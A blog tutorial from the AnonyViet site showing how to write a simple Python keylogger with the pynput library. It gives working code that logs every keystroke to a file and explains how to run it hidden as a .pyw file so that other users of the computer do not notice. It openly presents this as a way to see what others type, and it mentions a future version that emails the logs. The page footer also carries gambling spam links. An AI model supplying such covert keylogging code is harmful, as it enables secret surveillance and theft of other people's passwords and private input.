• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

The simplest way to create KeyLogger in Python

AnonyViet by AnonyViet
December 10, 2025
in Tips
0

Today I will guide you to write extremely simple Keylogger Code in Python. Currently, Python applications are popular, especially the Ministry of Education has included Python in the secondary school curriculum. Therefore, it is never too early to study Python now. Python is famous because the code is quite easy and there are many libraries available. One of them is the pynput library that helps you record keyboard and mouse logs, thereby creating a simple keylogger.

Join the channel Telegram belong to AnonyViet 👉 Link 👈

The simplest way to create KeyLogger in Python

A keylogger is a type of monitoring software designed to record a user’s keystrokes. One of the oldest forms of cyber security threats, this keystroke logging feature records the information you enter any character on the keyboard, the Keylogger will record it and save it to a file that will then be sent to the Hacker. So if a Keylogger is installed on the victim’s computer, hackers can easily steal your account and password.

With just 7 python commands, you can easily create a simple Keylog for yourself.

First you need Download and install Python 3.x (currently Python 3.9). When installing, remember to select the function Add Python 3.x to Path on the first screen during installation.

Open CMD with Administrator rights and type the command:

pip install pynput

Next, open notepad, copy the keylogger code below and save it as keylog.py file

from pynput.keyboard import Listener
def evnt_key_press(key):
    f = open('key.txt','a')
    f.write(str(key).replace("'",'') + "\n" )
    f.close()
obj = Listener(on_press=evnt_key_press)
obj.start()
obj.join()

keylog code in python

That’s it, now open CMD with Administrator rights and type the command

cd C:\

python keylog.py

write keylogger in python

Now the file will appear on drive C key.txtthis file will store the characters you typed on the keyboard. Each letter is in a row, please take the time to combine the letters.

Now just activate the file keylog.pyyou will know what other people have typed on your computer, helping you control your computer more easily.

In case you do not want to display the CMD window when activating Keylog, rename the file keylog.py wall keylog.pyw

install python keylog

Now you can turn off the CMD window okay, the keylog will work in the background without ordinary people even knowing about it.

If you want to turn off Keylog, then turn it on Task Manager (Ctrl + Shift + Esc) Go up and find the named Process Python -> End task

turn off python keylog

So AnonyViet has shown you the simplest way to write a Keylogger in Python. As for advanced features such as sending to email, taking screenshots… I will talk about them in the next article.

Update September 29, 2021: You can refer to the Python Keylogger Code by email at Github AnonyViet.

Frequently asked questions

What is a keylogger and how does it work?

Keylogger is software that records a user’s keystrokes. It works by recording every character entered and storing them in a file.

What settings do I need to run this keylogger code?

You need to install Python 3.x and the pynput library. You can install pynput using command pip install pynput in command prompt.

How to stop keylogger activity?

To stop the keylogger, you need to open Task Manager (Ctrl + Shift + Esc), find and end the Python process.

Previous Post

Instructions for registering .online, .site, .store domains for free at Namecheap

Next Post

5+ Websites to create special character names for the newest gamers in 2026

AnonyViet

AnonyViet

Related Posts

App MonokaiToolkit 6 – Facebook utility toolkit on Android and iOS
Tips

App MonokaiToolkit 6 – Facebook utility toolkit on Android and iOS

December 12, 2025
How to Turn off “Seen” mode on Messenger 2021
Tips

How to Turn off “Seen” mode on Messenger 2021

December 11, 2025
5+ Websites to create special character names for the newest gamers in 2026
Tips

5+ Websites to create special character names for the newest gamers in 2026

December 10, 2025
Instructions for registering .online, .site, .store domains for free at Namecheap
Tips

Instructions for registering .online, .site, .store domains for free at Namecheap

December 10, 2025
Tut unlock 092 hangs with Gmail to unlock Facebook latest 2021
Tips

Tut unlock 092 hangs with Gmail to unlock Facebook latest 2021

December 9, 2025
Instructions on how to install multiple Windows apps at the same time
Tips

Instructions on how to install multiple Windows apps at the same time

December 9, 2025
Next Post
5+ Websites to create special character names for the newest gamers in 2026

5+ Websites to create special character names for the newest gamers in 2026

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments

Recent News

App MonokaiToolkit 6 – Facebook utility toolkit on Android and iOS

App MonokaiToolkit 6 – Facebook utility toolkit on Android and iOS

December 12, 2025
Instructions for receiving CapCut Pro for 30 days for free

Instructions for receiving CapCut Pro for 30 days for free

December 12, 2025
How to Turn off “Seen” mode on Messenger 2021

How to Turn off “Seen” mode on Messenger 2021

December 11, 2025
Instructions for receiving Shodan Academic Membership for free

Instructions for receiving Shodan Academic Membership for free

December 11, 2025
App MonokaiToolkit 6 – Facebook utility toolkit on Android and iOS

App MonokaiToolkit 6 – Facebook utility toolkit on Android and iOS

December 12, 2025
Instructions for receiving CapCut Pro for 30 days for free

Instructions for receiving CapCut Pro for 30 days for free

December 12, 2025
How to Turn off “Seen” mode on Messenger 2021

How to Turn off “Seen” mode on Messenger 2021

December 11, 2025
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

App MonokaiToolkit 6 – Facebook utility toolkit on Android and iOS

App MonokaiToolkit 6 – Facebook utility toolkit on Android and iOS

December 12, 2025
Instructions for receiving CapCut Pro for 30 days for free

Instructions for receiving CapCut Pro for 30 days for free

December 12, 2025
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

trang chủ f168 nhà cái 78win https://www.qq8827.com/ https://go99.ae.org/ https://nohu90.bid/

No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

trang chủ f168 nhà cái 78win https://www.qq8827.com/ https://go99.ae.org/ https://nohu90.bid/

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply